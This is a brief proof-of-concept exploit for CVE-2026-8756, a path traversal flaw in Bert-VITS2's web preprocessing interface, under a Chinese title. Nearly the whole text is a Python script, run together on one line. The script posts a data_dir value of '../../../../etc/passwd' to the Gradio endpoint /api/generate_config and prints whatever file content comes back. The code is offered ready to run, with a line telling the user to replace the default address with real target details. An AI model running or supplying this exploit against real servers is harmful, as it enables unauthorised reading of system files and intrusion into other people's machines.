CVE-2026-8756 Bert-VITS2路径遍历漏洞

# PoC for CVE-2026-8756 # Exploiting path traversal in Bert-VITS2 webui_preprocess.py import requests def exploit(target_ip, target_port): # The vulnerable endpoint typically maps to the Gradio API url = f"http://{target_ip}:{target_port}/api/generate_config" # Payload attempting to read system files # Adjust the number of '../' based on the application's root directory depth payload = { "data_dir": "../../../../etc/passwd" } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for file content.") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error during exploitation: {e}") if __name__ == "__main__": # Replace with actual target details exploit("127.0.0.1", "7860")